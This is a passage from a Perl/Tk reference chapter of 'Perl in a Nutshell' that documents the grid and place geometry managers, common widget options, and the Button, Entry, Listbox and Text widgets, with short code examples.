Places padding on the left and right of the widget. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-pady amount

Places padding on the top and bottom of the widget. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

18.2.2.1 Grid methods

The following methods are associated with grid:

gridColumnconfigure

Configures the column specified by the first argument using -weight and -minsize arguments. The -weight argument determines the amount of space to allocate to that column, and the -minsize argument sets the minimum size in pixels. For example:

$widget->gridColumnconfigure(3, -weight => 1);

gridRowconfigure

Configures the row specified by the first argument using -weight and -minsize arguments. The -weight argument determines the amount of space to allocate to that row, and the -minsize argument sets the minimum size in pixels. For example:

$widget->gridRowconfigure(3, -weight => 1);

gridBbox

Returns the bounding box in pixels for the space occupied by the specified grid position (in the order of column, row). For example:

$widget->gridBbox(3,2);

gridForget

Causes the widget(s) to be removed from view. Additional widgets can be specified as arguments.

$widget1->gridForget($widget2, widget3, ...);

gridInfo

Returns information about the widget in list format.

$widget->gridInfo;

gridLocation

Returns the column and row of the widget nearest the specified x,y coordinates (in pixels).

$widget->gridLocation(120, 32);

gridPropagate

Turns off automatic resizing of the widget.

$widget->gridPropagate;

gridSize

Returns the size of the grid, i.e., the number of columns and rows.

$widget->gridSize;

gridSlaves

Returns a list of all widgets contained within a master widget. Optional -row and -column arguments restrict the response to the widget(s) within that row or column.

$children = $widget->gridSlaves(-row => 2);

18.2.3 The Place Geometry Manager

The place geometry manager lets you position a window at explicit x,y coordinates. With place, you can overlap widgets, which isn't allowed with grid or pack. For example, to position a button widget at the upper left corner of a window:

$button->place(-x => 0, -y => 0);
Options to place are:

-anchor => position

The position in the widget that will be placed at the coordinates specified. Values for position are 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw', and 'center'. Default is 'nw'.

-bordermode => location

Determines whether or not the border portion of the widget is included in the coordinate system. Values for location are 'inside', 'outside', and 'ignore'.

-height => amount

Absolute height of the widget. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-in => $window

The child widget will be packed inside the specified window instead of the parent that created it. Any relative coordinates or sizes will still refer to the parent.

-relheight => ratio

The height of the widget relates to the parent widget's height by the specified ratio.

-relwidth => ratio

The width of the widget relates to the parent widget's width by the specified ratio.

-relx => xratio

The widget will be placed relative to its parent by the specified ratio. xratio is a floating point number from 0.0 to 1.0, with 0.0 representing the left side of the parent widget and 1.0 representing the right side.

-rely => yratio

The widget will be placed relative to its parent by the specified ratio. yratio is a floating point number from 0.0 to 1.0, with 0.0 representing the top of the parent widget and 1.0 representing the bottom.

-width => amount

The width of the widget will be the specified amount. amount can be represented as a number followed by c (centimeters), i (inches), m (millimeters), and p (printer points). Pixels are the default units.

-x => xcoord

The widget will be placed at the specified x coordinate.

-y => ycoord

The widget will be placed at the specified y coordinate.

The following methods are associated with place:

placeForget

Causes the widget to be removed from view.

placeInfo

Returns information about the widget.

placeSlaves

Returns a list of widgets managed by the specified parent widget.

Previous: 18.1 Widgets | Perl in a Nutshell | Next: 18.3 Common Widget Configuration Options
18.1 Widgets | Book Index | 18.3 Common Widget Configuration Options


[Chapter 18] 18.3 Common Widget Configuration Options

Perl in a Nutshell

Perl in a NutshellSearch this book

18.3 Common Widget Configuration Options

In the remainder of this chapter, we'll be discussing each widget: the command used to create each widget, the options used to configure them, and the methods for manipulating them.

You'll find that there are many, many configuration options that are shared by multiple widgets. We could list them individually for each widget, but in the interest of saving a tree or two, we're instead going to list the shared options up front, rather than repeating them over and over. That way we can concentrate on the options that are crucial to the behavior of each particular widget, and save the reader from being lost in a sea of options.

The following options are supported by the widgets noted:

-activebackground => color

Sets the background color when the mouse cursor is over the widget.

Applicable widgets: Button, Checkbutton, Menu, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar

-activeforeground => color

Sets the text color when the mouse cursor is over the widget. Applicable widgets: Button, Checkbutton, Menu, Menubutton, Optionmenu, Radiobutton

-anchor => position

Causes the text to stick to that position in the widget. Values for position are 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw', and 'center'. Applicable widgets: Button, Checkbutton, Label, Menubutton, Optionmenu, Radiobutton

-background => color

-bg => color

Sets the background of the widget to the specified color. Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menu, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-bitmap => 'bitmapname'

Uses a bitmap instead of text in the widget. You can specify either a default bitmap or the location of a bitmap file (with @ in front of the path). Applicable widgets: Button, Checkbutton, Label, Menubutton, Optionmenu, Radiobutton

-borderwidth => amount

-bd => amount

Changes the width of the edge drawn around the widget. Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menu, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-cursor => 'cursorname'

Mouse cursor will change to specified cursor when over the widget. Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menu, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-disabledforeground => color

Sets the color of the text when the widget is disabled. Applicable widgets: Button, Checkbutton, Menu, Menubutton, Optionmenu, Radiobutton

-exportselection => boolean

Determines whether selected text is exported to the window system's clipboard. (For a listbox, -exportselection => 1 means two listboxes cannot have selections at the same time.) Applicable widgets: Entry, Listbox, Text

-font => 'fontname'

Changes the font of all the text on the widget to fontname. Applicable widgets: Button, Checkbutton, Entry, Label, Listbox, Menu, Menubutton, Optionmenu, Radiobutton, Scale, Text

-foreground => color

-fg => color

Changes the text color to color. Applicable widgets: Button, Checkbutton, Entry, Label, Listbox, Menu, Menubutton, Optionmenu, Radiobutton, Scale, Text

-height => amount

Specifies the height of the widget. amount represents a number of characters if text is displayed, or a screen distance if an image or bitmap is displayed. Applicable widgets: Button, Canvas, Checkbutton, Frame, Label, Listbox, Menubutton, Optionmenu, Radiobutton, Text, Toplevel

-highlightbackground => color

Sets the color of a non-focus rectangle. Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-highlightcolor => color

Sets the color of the focus rectangle. Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-highlightthickness => amount

Sets the thickness of the black box around the widget that indicates focus. Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-image => $imgptr

Uses an image instead of text. $imgptr is a pointer to a Photo or Image object made using a GIF or PPM file. For example:

$image = $mainwindow->Photo(-file => "image.gif");
$mainwindow->Button(-image => $arrow,
          -command => sub {exit})->pack;
Applicable widgets: Button, Checkbutton, Label, Menubutton, Optionmenu, Radiobutton

-insertbackground => color

Sets the color of the insert cursor. Applicable widgets: Canvas, Entry, Text

-insertborderwidth => amount

Sets the width of the insert cursor's border. Applicable widgets: Canvas, Entry, Text

-insertofftime => milliseconds

Defines the amount of time the insert cursor is "off." Applicable widgets: Canvas, Entry, Text

-insertontime => milliseconds

Defines the amount of time the insert cursor is "on." Applicable widgets: Canvas, Entry, Text

-insertwidth => amount

The width of the insert corner (default = 2 pixels). Applicable widgets: Canvas, Entry, Text

-justify => side

Justifies text against the specified side. side can be 'left', 'right', or 'center'. Applicable widgets: Button, Checkbutton, Entry, Label, Menubutton, Optionmenu, Radiobutton

-padx => amount

Adds extra space to left and right of the widget inside the widget edge. Applicable widgets: Button, Checkbutton, Label, Menubutton, Optionmenu, Radiobutton, Text

-pady => amount

Adds extra space to top and bottom of the widget inside the widget edge. Applicable widgets: Button, Checkbutton, Label, Menubutton, Optionmenu, Radiobutton, Text

-relief => type

Changes the type of edges drawn around the widget. Values for type are 'flat', 'groove', 'raised', 'ridge', and 'sunken'. Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menu, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-selectbackground => color

Determines the background color of selected text in the entry widget. Applicable widgets: Canvas, Entry, Listbox, Text

-selectborderwidth => amount

Determines the width of the selection highlight's border. Applicable widgets: Canvas, Entry, Listbox, Text

-selectforeground => color

Determines the text color of selected text in the entry widget. Applicable widgets: Canvas, Entry, Listbox, Text

-state => state

Sets the state of responsiveness of the widget. Values for state are 'normal', 'disabled', and 'active'. (disabled makes it not respond.) Applicable widgets: Button, Checkbutton, Entry, Menubutton, Optionmenu, Scale, Text

-takefocus => focus

Determines whether the widget gets focus. Values for focus are 0 (the widget will never get the focus), 1 (the widget always gets the focus), and the null string ("") (which lets the application decide). Applicable widgets: Button, Canvas, Checkbutton, Entry, Frame, Label, Listbox, Menu, Menubutton, Optionmenu, Scale, Scrollbar, Text, Toplevel

-underline => n

Underlines the nth character in the text string. Allows keyboard input via that character when the widget has the focus. Applicable widgets: Button, Checkbutton, Label, Menubutton, Optionmenu, Radiobutton

-width => amount

Width of the widget, represented in characters if text displayed, or as a screen distance if an image or bitmap is displayed. Applicable widgets: Button, Canvas, Checkbutton, Frame, Label, Listbox, Menubutton, Optionmenu, Radiobutton, Scale, Scrollbar, Text, Toplevel

-wraplength => amount

Defines the maximum amount of text to be displayed on one line. Applicable widgets: Button, Checkbutton, Label, Menubutton, Optionmenu, Radiobutton

-xscrollcommand => callback

Assigns a callback to use when scrolling back and forth. Applicable widgets: Canvas, Entry, Listbox, Text

-yscrollcommand => callback

Determines a command to run when scrolled in the vertical direction. Applicable widgets: Canvas, Listbox, Text

Previous: 18.2 Geometry Managers | Perl in a Nutshell | Next: 18.4 The Button Widget
18.2 Geometry Managers | Book Index | 18.4 The Button Widget


[Chapter 18] 18.4 The Button Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.4 The Button Widget

Create a simple button with the Button method:

$parentwidget->Button (options)
The standard configuration options that apply to Button are: -activebackground, -activeforeground, -anchor, -background, -bg, -bitmap, -borderwidth, -bd, -cursor, -disabledforeground, -font, -foreground, -fg, -height, -highlightbackground, -highlightcolor, -highlightthickness, -image, -justify, -padx, -pady, -relief, -state, -takefocus, -underline, -width, and -wraplength.

Other options are:

-command => callback

Pointer to a function that will be called when the button is pressed.

-text => 'text'

Defines the text string displayed on the button. See also -textvariable.

-textvariable => \$variable

Points to the variable containing text to be displayed in the button. Button text will change as $variable does.

18.4.1 Button Methods

In addition to configure and cget, the following methods can be used for Button:

flash

Causes the button to flash from the normal to active state colors.

invoke

Invokes the callback command as if the button were clicked.

Previous: 18.3 Common Widget Configuration Options | Perl in a Nutshell | Next: 18.5 The Checkbutton Widget
18.3 Common Widget Configuration Options | Book Index | 18.5 The Checkbutton Widget


[Chapter 18] 18.5 The Checkbutton Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.5 The Checkbutton Widget

Creates a checkbutton with the Checkbutton command. A checkbutton has an indicator to the left of the label indicating whether the button is selected. The boolean status of the button ("0" or "1", or values as specified by the -onvalue and -offvalue options) is stored in the variable specified with the -variable option.

$parentwidget->Checkbutton (options)
The standard configuration options that apply to CheckButton are: -activebackground, -activeforeground, -anchor, -background, -bg, -bitmap, -borderwidth, -bd, -cursor, -disabledforeground, -font, -foreground, -fg, -height, -highlightbackground, -highlightcolor, -highlightthickness, -image, -justify, -padx, -pady, -relief, -state, -takefocus, -underline, -width, and -wraplength.

Other options are:

-command => callback

Pointer to a function that will be called when the checkbutton is pressed.

-indicatoron => boolean

Determines whether or not to display the indicator. Default is on (1).

-offvalue => newvalue

Specifies the value used when the checkbutton is "off." Must be a scalar. Default is 0.

-onvalue => newvalue

Specifies the value used when the checkbutton is "on." Must be a scalar. Default is 1.

-selectcolor => color

Color of the indicator when the checkbutton is "on."

-selectimage => imgptr

Defines the image to be displayed instead of text when the checkbutton is "on." Ignored if -image is not used.

-text => 'text'

Defines the text string displayed in the checkbutton. See also -textvariable.

-textvariable => \$variable

Points to the variable containing text to be displayed in the checkbutton. Button text will change as $variable does.

-variable => \$variable

Associates the on/off value of the indicator with the specified variable.

18.5.1 Checkbutton Methods

In addition to configure and cget, the following methods are supported by Checkbutton:

deselect

Sets the indicator to the "off" state.

select

Sets the indicator to the "on" state.

flash

Causes the button to flash from the normal to active state colors.

invoke

Invokes the callback command as if the checkbuttons were clicked.

toggle

Toggles the indicator from "on" to "off," or from "off" to "on."

Previous: 18.4 The Button Widget | Perl in a Nutshell | Next: 18.6 The Radiobutton Widget
18.4 The Button Widget | Book Index | 18.6 The Radiobutton Widget


[Chapter 18] 18.6 The Radiobutton Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.6 The Radiobutton Widget

Create a radiobutton with the Radiobutton method. A radiobutton has an indicator to the left of the label indicating whether the button is selected. It differs from a checkbutton in that only one button may be selected at the same time. Each button in a group of radiobuttons uses the same variable specified with the -variable option; when selected, the button assigns that variable the value specified by the -value option.

$parentwidget->Radiobutton (options)
The standard configuration options that apply to Radiobutton are: -activebackground, -activeforeground, -anchor, -background, -bg, -bitmap, -borderwidth, -bd, -cursor, -disabledforeground, -font, -foreground, -fg, -height, -highlightbackground, -highlightcolor, -highlightthickness, -image, -justify, -padx, -pady, -relief, -underline, -width, and -wraplength.

Other options are:

-command => callback

Pointer to a function that will be called when the radiobutton is pressed.

-indicatoron => boolean

Determines whether or not to display the indicator. Default is on (1).

-selectcolor => color

Color of the indicator when the radiobutton is on.

-selectimage => imgptr

Defines the image to be displayed instead of text when the radiobutton is on. Ignored if -image is not used.

-text => 'text'

Defines the text string displayed in the radiobutton. See also -textvariable.

-textvariable => \$variable

Points to the variable containing text to be displayed in the radiobutton. Button text will change as $variable does.

-value => value

Sets $variable to the specified value when the radiobutton is selected (default is 1).

-variable => \$variable

Associates the on/off value of the indicator with the specified variable.

18.6.1 Radiobutton Methods

In addition to configure and cget, the following methods are supported by Radiobutton:

deselect

Deselects the button and sets the variable to the empty string.

select

Sets the radio button.

flash

Causes the button to flash from the normal to active state colors.

invoke

Selects the button and invokes the callback command as if the radiobutton were clicked.

Previous: 18.5 The Checkbutton Widget | Perl in a Nutshell | Next: 18.7 The Label Widget
18.5 The Checkbutton Widget | Book Index | 18.7 The Label Widget


[Chapter 18] 18.7 The Label Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.7 The Label Widget

Create a non-interactive label with the Label command.

$parentwidget->Label (options)
The standard configuration options that apply to Label are: -anchor, -background, -bg, -bitmap, -borderwidth, -bd, -cursor, -font, -foreground, -fg, -height, -highlightbackground, -highlightcolor, -highlightthickness, -image, -justify, -padx, -pady, -relief, -takefocus, -underline, -width, and -wraplength.

Other options are:

-text => 'text'

Defines the text string displayed in the label. See also -textvariable.

-textvariable => \$variable

Points to the variable containing text to be displayed in the label. Button text will change as $variable does.

Previous: 18.6 The Radiobutton Widget | Perl in a Nutshell | Next: 18.8 The Entry Widget
18.6 The Radiobutton Widget | Book Index | 18.8 The Entry Widget


[Chapter 18] 18.8 The Entry Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.8 The Entry Widget

Create an entry widget with the Entry method. The value that the user has typed into the widget is stored in the variable pointed to by the -textvariable option.

$parent->Entry (options)
The standard configuration options that apply to Entry are: -background, -bg, -borderwidth, -bd, -cursor, -exportselection, -font, -foreground, -fg, -highlightbackground, -highlightcolor, -highlightthickness, -insertbackground, -insertborderwidth, -insertofftime, -insertontime, -insertwidth, -justify, -relief, -selectbackground, -selectborderwidth, -selectforeground, -state, -takefocus, and -xscrollcommand.

Other options are:

-show => x

Defines a character to be displayed in place of actual typed text (for use with passwords).

-textvariable => \$variable

Points to the variable containing text to be displayed in the entry widget. Button text will change as $variable does.

18.8.1 Text Indexes

In an Entry widget, several indexes are defined to identify positions in the entry text, for use by the methods used for retrieving or manipulating entry text. These indexes are:

n

An integer representing a character position, with 0 as the first character in the string.

insert

The character directly after the insert cursor.

sel.first

The first character in the selection block.

sel.last

The character after the last character in the selection block.

anchor

The anchored position.

end

The position just after the last character in the entry string.

@x

The character containing the specified x coordinate.

18.8.2 Entry Methods

In addition to configure and cget, the following methods are supported for the Entry widget:

delete

Deletes text from the widget. For example, to delete the selected text:

$entry->delete('sel.first', 'sel.last');

get

Gets the contents of the entry widget. For example:

$input = $entry->get;

icursor

Places the cursor at the specified index. For example, to move the cursor to the very end of the entry string:

$entry->icursor('end');

index

Converts a named index into a numeric one.

$length = $entry->index('end');

insert

Inserts text at the specified index. For example, to append the ".txt" string to the end of the entry string:

$entry -> insert('end', '.txt');

selection

Manipulates the selected block. The first argument can be any of:

adjust

Extends selected text to the index specified in the second argument.

$entry->selection('adjust', 'end');

clear

Clears the selection block.

$entry->selection('clear');

from

Resets the "anchor" index to the index specified in the second argument.

$entry->selection('from',0);

present

Determines if any text is currently selected.

if ($entry->selection('present')) {
    $entry->delete('sel.first','sel.last');
}

range

Changes the selection range to the indexes specified in the second and third arguments. For example, to change the selection to include the entire entry string:

$entry->selection('range',0,'end');

to

Extends the selection from the current anchor position to the specified index.

$entry->selection('to','insert');

xview

Manipulates the text in view. With no arguments, returns a list of two numbers between 0 and 1, defining what portion of the entry text is currently hidden on the left and right sides, respectively. With arguments, the function of xview changes:

index

If the first argument is an index, that position becomes the leftmost position in view. For example, to reset the visible portion to the beginning of the string:

$entry->xview(0);

moveto

Moves the specified fraction of the entry text to the left of the visible portion. For example, to hide the first 10% of the entry text:

$entry->xview('moveto',0.1);

scroll

Scrolls the text left or right by the specified number of units (characters, in this context) or pages. Used mainly as a callback to a scrollbar; pressing on an arrow moves by units (characters), and pressing on the trough moves by pages. The number is either 1 or -1, to move forwards or backwards, respectively. For example:

$entry->xview('scroll',1,'units');

Previous: 18.7 The Label Widget | Perl in a Nutshell | Next: 18.9 The Scrollbar Widget
18.7 The Label Widget | Book Index | 18.9 The Scrollbar Widget


[Chapter 18] 18.9 The Scrollbar Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.9 The Scrollbar Widget

Create a scrollbar with the Scrollbar method.

$parentwidget->Scrollbar (options)
The standard configuration options that apply to Scrollbar are: -activebackground, -background, -bg, -borderwidth, -bd, -cursor, -highlightbackground, -highlightcolor, -highlightthickness, -relief, -takefocus, and -width.

Other options are:

-activerelief => type

Changes how active elements (arrow1, arrow2, and the slider) in the scrollbar are drawn. Values for type are 'flat', 'groove', 'raised', 'ridge', and 'sunken'. The default is 'raised'.

-command => callback

Pointer to a function that will be called when the scrollbar is clicked on.

-elementborderwidth => amount

The width of the borders of the arrow1, arrow2, and slider elements.

-jump => boolean

Determines whether the scrollbar will jump scroll. Default is 0 (jump scroll disabled).

-orient => orientation

Determines the orientation of the scrollbar. Possible orientations are 'horizontal' and 'vertical' (default).

-repeatdelay => milliseconds

Determines the number of milliseconds to hold down an arrow before it will auto-repeat. Default is 300.

-repeatinterval => milliseconds

Determines the number of milliseconds between auto-repeats once it is started. Default is 100.

-troughcolor => color

Changes the color of the trough.

18.9.1 Scrollbar Methods

In addition to configure and cget, the following methods are supported by the Scrollbar widget:

set

Changes the viewable portion of the data, with the two arguments being numbers between 0 and 1 representing the portions of the data to be visible.

$scrollbar->set(0.2,0.6);

get

Returns the latest arguments to set.

activate

With no arguments, returns the name of the current active element. With an argument of arrow1, arrow2, or slider, changes the color of the specified element to the active foreground color and relief type.

delta

Given a number of pixels in the first argument, returns the fractional change needed to move the slider that amount.

fraction

Given an x,y coordinate as the first and second arguments, returns a number between 0 and 1 representing what fraction of the scrollbar that coordinate would fall under.

identify

Given an x,y coordinate as the first and second arguments, returns the name of the element at those coordinates.

Previous: 18.8 The Entry Widget | Perl in a Nutshell | Next: 18.10 The Listbox Widget
18.8 The Entry Widget | Book Index | 18.10 The Listbox Widget


[Chapter 18] 18.10 The Listbox Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.10 The Listbox Widget

Create a listbox with the Listbox method. You can then insert items into the listbox using the insert method.

$parentwidget->Listbox (options)
The standard configuration options that apply to Listbox are: -background, -bg, -borderwidth, -bd, -cursor, -exportselection, -font, -foreground, -fg, -height, -highlightbackground, -highlightcolor, -highlightthickness, -relief, -selectbackground, -selectborderwidth, -selectforeground, -takefocus, -width, -xscrollcommand, and -yscrollcommand.

Other options are:

-selectmode => mode

Determines how many items can be selected at once, as well as key/mouse bindings. mode can be any of:

'single'

Only one item can be selected at a time.

'browse'

Only one item can be selected at a time. (Default).

'multiple'

Multiple items can be selected at a time.

'extended'

Multiple items can be selected at a time.

-setgrid => boolean

Turns on gridding for the listbox. If the widget is resized, only complete lines and characters are displayed. Default is 0 (off).

18.10.1 Listbox Indexes

In a Listbox widget, several indexes are defined to identify positions in the listbox, for use by the methods used for retrieving or manipulating listbox entries. These indexes are:

n

An integer representing a position in the list, with 0 as the first item.

active

The item with the keyboard focus.

anchor

The anchored position.

end

The last element in the listbox.

@x,y

The listbox item containing the specified x,y coordinate.

18.10.2 Listbox Methods

In addition to configure and cget, the following methods are supported by Listbox:

insert

Adds items to a listbox at the specified index. For example, to insert items at the end of a list:

$listbox->insert('end', "Puerto Rico", "Virgin Islands", "Guam");

delete

Deletes items from a listbox. To delete all items:

$listbox->delete(0,'end');

get

Returns a list of elements within the specified range of indexes. For a list of all elements:

@items = $listbox->get(0,'end');

curselection

Returns a list of all currently selected elements in the listbox.

activate

Sets the specified item to be the active element.

bbox

Returns the location and dimensions of the bounding box surrounding the specified listbox element. The returned list contains four numbers representing (respectively) the x coordinate of the upper-left corner, the y coordinate of the upper-left corner, the width of the text in pixels, and the height of the text in pixels.

index

Converts a named index into a numeric one.

nearest

Gets the index of the listbox item nearest to a given y coordinate.

see

Pages the listbox up or down to display the specified item.

selection

Manipulates the selected block of list items. The first argument can be any of:

anchor

Sets the anchor index to the specified index.

clear

Clears any selected list items in the specified range. For example, to clear all selections:

$listbox->selection('clear', 0, 'end');

includes

Returns 0 or 1 depending on whether the specified item is already selected.

$listbox->selection('includes', 'end');

set

Selects a range of items in the listbox.

$listbox->selection('set', 0, 'end');

size

Returns the total number of items in the listbox.

xview

Manipulates the text in view. With no arguments, returns a list of two numbers between 0 and 1, defining what portion of the list text is currently hidden on the left and right sides, respectively. With arguments, the function of xview changes:

index

If the first argument is an index, that position becomes the leftmost position in view.

moveto

Moves the specified fraction of the listbox to the left of the visible portion.

scroll

Scrolls the text left or right by the specified number of units (characters, in this context) or pages. Used primarily as a callback to a scrollbar; pressing on an arrow would move by units (characters), and pressing on the trough would move by pages. The number is either 1 or -1, to move forwards or backwards, respectively.

yview

Manipulates the text in view. With no arguments, returns a list of two numbers between 0 and 1, defining what portion of the list text is currently hidden on the top and bottom, respectively. With arguments, the function of yview changes:

index

If the first argument is an index, that position becomes the topmost position in view.

moveto

Moves the specified fraction of the listbox to the top of the visible portion.

scroll

Scrolls the text up or down by the specified number of units (lines, in this context) or pages. Used primarily as a callback to a scrollbar; pressing on an arrow would move by units (lines), and pressing on the trough would move by pages. The number is either 1 or -1, to move forwards or backwards, respectively.

Previous: 18.9 The Scrollbar Widget | Perl in a Nutshell | Next: 18.11 The Text Widget
18.9 The Scrollbar Widget | Book Index | 18.11 The Text Widget


[Chapter 18] 18.11 The Text Widget

Perl in a Nutshell

Perl in a NutshellSearch this book

18.11 The Text Widget

Create a text widget with the Text method:

$parentwidget->Text ( options)
The standard configuration options that apply to Text are: -background, -bg, -borderwidth, -bd, -cursor, -exportselection, -font, -foreground, -fg, -height, -highlightbackground, -highlightcolor, -highlightthickness, -insertbackground, -insertborderwidth, -insertofftime, -insertontime, -insertwidth, -padx, -pady, -relief, -selectbackground, -selectborderwidth, -selectforeground, -state, -takefocus, -width, -xscrollcommand, and -yscrollcommand.

Other options are:

-setgrid => boolean

Turns on gridding for the text widget. Default is 0 (off).

-spacing1 => amount

Defines the amount of space left on the top of a line of text that starts on its own line. Default is 0.

-spacing2 => amount

Defines the amount of space left on the top of a line of text after it has been automatically wrapped by the text widget. Default is 0.

-spacing3 => amount

Defines the amount of space left after a line of text that has been ended by "\n". Default is 0.

-tabs => list

Specifies a list of tab stops to use in the text widget. Default is undefined (no tab stops).

-wrap => mode

Sets the mode for determining automatic line wrapping. Values are "none" (no wrapping), "char" (wrap at any character), or "word" (wrap at a word boundary). Default is "char".

18.11.1 Text Indexes and Modifiers

In a Text widget, several indexes are defined to identify positions in the text widget, for use by the methods used for retrieving or manipulating text. These indexes are:

n.m

Numbers representing character m on line n.

@x,y

The character closest to the x,y coordinate.

end

The end of the text.

insert

The character after the insert cursor.

current

The position closest to the mouse cursor.

mark

Other marks defined for the widget (see discussion of text marks later in this section).

sel.first

The first selected character.

sel.last

The character just after the last selected character.

tag.first

The first character in the widget of the specified tag type.

tag.last

The character just after the last character of the specified tag type.

widget

The location of an embedded widget.

There are also several modifiers to use with text indexes. They are:

+ n lines
- n lines

n lines before or after the index.

+ n chars
- n chars

n characters before or after the index.

linestart

The first character on the line.

lineend

The last character on the line (often a newline).

wordstart

The first character in the word.

wordend

The character after the last character in the word.

18.11.2 Text Methods

In addition to configure and cget, the following methods are defined for the Text widget.

bbox

Returns the location and dimensions of the bounding box surrounding the character at the specified index. The returned list contains four numbers representing (respectively) the x coordinate of the upper-left corner, the y coordinate of the upper-left corner, the width of the text in pixels, and the height of the text in pixels.

compare

Performs a comparison on two indexes. For example:

if ($text->compare('insert', '==', 'end') {
    # we're at the end of the text
}
The valid operators are <, <=, ==, >=, and !=.

debug

Given a boolean, turns debugging on or off.

delete

Deletes text from the text widget. To delete everything:

$text->delete(0, 'end');

dlineinfo

Returns the location and dimensions of the bounding box surrounding the line at the specified index. The returned list contains five numbers representing (respectively) the x coordinate of the upper-left corner, the y coordinate of the upper-left corner, the width of the text in pixels, the height of the text in pixels, and the baseline position of the line.

get

Returns the text located in the given index range.

index

Given a named index, returns its numeric equivalent in the format line.char.

insert

Inserts text into the widget at the specified location. The second argument is the text to insert and the third argument is either a single tag or a list reference containing the names of multiple tags to apply to the text. Subsequent arguments alternate between text and tags. For example:

$text->insert('end', 'You want to do ', 'normal',
                     'what?!', ['bold','red']);

search

Returns the index containing a particular string in the text widget. For example, to search backwards for a case-insensitive hostname starting from the end of the text:

$hostindex = $text->search(-nocase, -backwards, $hostname, 'end');
The search method takes several switches to modify the search, each starting with "-". The first argument that does not start with "-" is taken to be the search string. The switches are:
-forwards

Search forwards starting at the specified index.

-backwards

Search backwards starting at the specified index.

-exact

Match the string exactly (default).

-regexp

Treat the pattern as a regular expression.

-nocase

Ignore case.

-count => \$variable

Store the number of matches into the specified variable.

--

Interpret the next argument as the pattern. (Useful when the pattern starts with a "-".)

see

Scrolls the text so that the portion of the text containing the specified index is visible.

window

Embeds widgets within the Text widget. The first argument can be any of: 'create', 'names', 'cget', and 'configure'.

create

Inserts an embedded widget at a specified index. Each widget occupies one character in the text widget. The widget must have already been created as a child of the text widget. For example:

$button = $text->Label(-text => "How ya doing?");
$text->window('create','end', -window => $button);
Here, the -window option is used to identify the widget to embed. The list of options to window ('create') is:
-align

Determines the positioning within the line of text. Values are 'baseline', 'bottom', 'top', or 'center' (default).

-padx

Adds padding in the x direction.

-pady

Adds padding in the y direction.

-window

Identifies the widget to embed.

names

Returns a list of widget types embedded into the text widget.

cget

Returns information on the widget at the specified index.

$text->window('cget',0);

configure

Configures widget at the specified index.

$text->window('configure',0,-background => "green");

xview

Manipulates the text in view. With no arguments, returns a list of two numbers between 0 and 1, defining what portion of the text is currently hidden on the left and right sides, respectively. With arguments, the function of xview changes:

index

If the first argument is an index, that position becomes the leftmost position in view.

moveto

Moves the specified fraction of the text to the left of the visible portion.

scroll

Scrolls the text left or right by the specified number of units (characters, in this context) or pages. Used primarily as a callback to a scrollbar; pressing on an arrow would move by units (characters), and pressing on the trough would move by pages. The number is either 1 or -1, to move forwards or backwards, respectively.

yview

Manipulates the text in view. With no arguments, returns a list of two numbers between 0 and 1, defining what portion of the text is currently hidden on the top and bottom, respectively. With arguments, the function of yview changes:

index

If the first argument is an index, that position becomes the topmost position in view.

moveto

Moves the specified fraction of the text to the top of the visible portion.

scroll

Scrolls the text up or down by the specified number of units (lines, in this context) or pages. Used primarily as a callback to a scrollbar; pressing on an arrow would move by units (lines), and pressing on the trough would move by pages. The number is either 1 or -1, to move forwards or backwards, respectively.

18.11.3 Tags

You can associate a distinct set of format properties to a portion of the text using tags. A tag is defined with the tagConfigure method, and text is associated with a tag via an option to the insert or tagAdd method. For example:

$text->Text->pack;
$text->tagConfigure('bold', -font =>
     '-*-Courier-Medium-B-Normal-*-120-*-*-*-*-*-*");
$text->insert('end', "Normal text\n");
$text->insert('end', "Bold text\n", 'bold');
There are several methods defined for manipulating text tags. They are:

tagAdd

Adds a tag to the text within the specified index range. For example, to assign the "bold" tag defined above to the current selection:

$text->tagAdd('bold','sel.first','sel.last');
You can supply multiple ranges as arguments to tagAdd.

tagBind

Executes a callback when a specified event happens on the tagged text. For example:

$text->tagBind('goto_end', "<Button-1>", sub {shift->see('end');} );

tagConfigure

Creates or changes settings for a text tag, for example:

$text->tagConfigure('link', -foreground => 'red');
Options for configuring text tags are:
-background => color

The color to use behind the text.

-bgstipple => bitmap

A pattern to draw behind the text.

-borderwidth => amount

The width of the edge drawn around the text.

-fgstipple => bitmap

A pattern used to draw the text.

-font => fontname

The font used for the text.

-foreground => color

The color of the text.

-justify => position

The justification of the text (any of 'left', 'right', and 'center'). The default is 'left'.

-lmargin1 => amount

The indentation for the first line of a paragraph.

-lmargin2 => amount

The indentation for subsequent lines of a paragraph (for hanging indents).

-offset => amount

The amount the text is raised or lowered from the baseline (for subscripts and superscripts).

-overstrike => boolean

Draws the text with a line through it.

-relief => type

The type of edges drawn around the text. Values for type can be 'flat', 'groove', 'raised', 'ridge', and 'sunken'. Default is 'flat'.

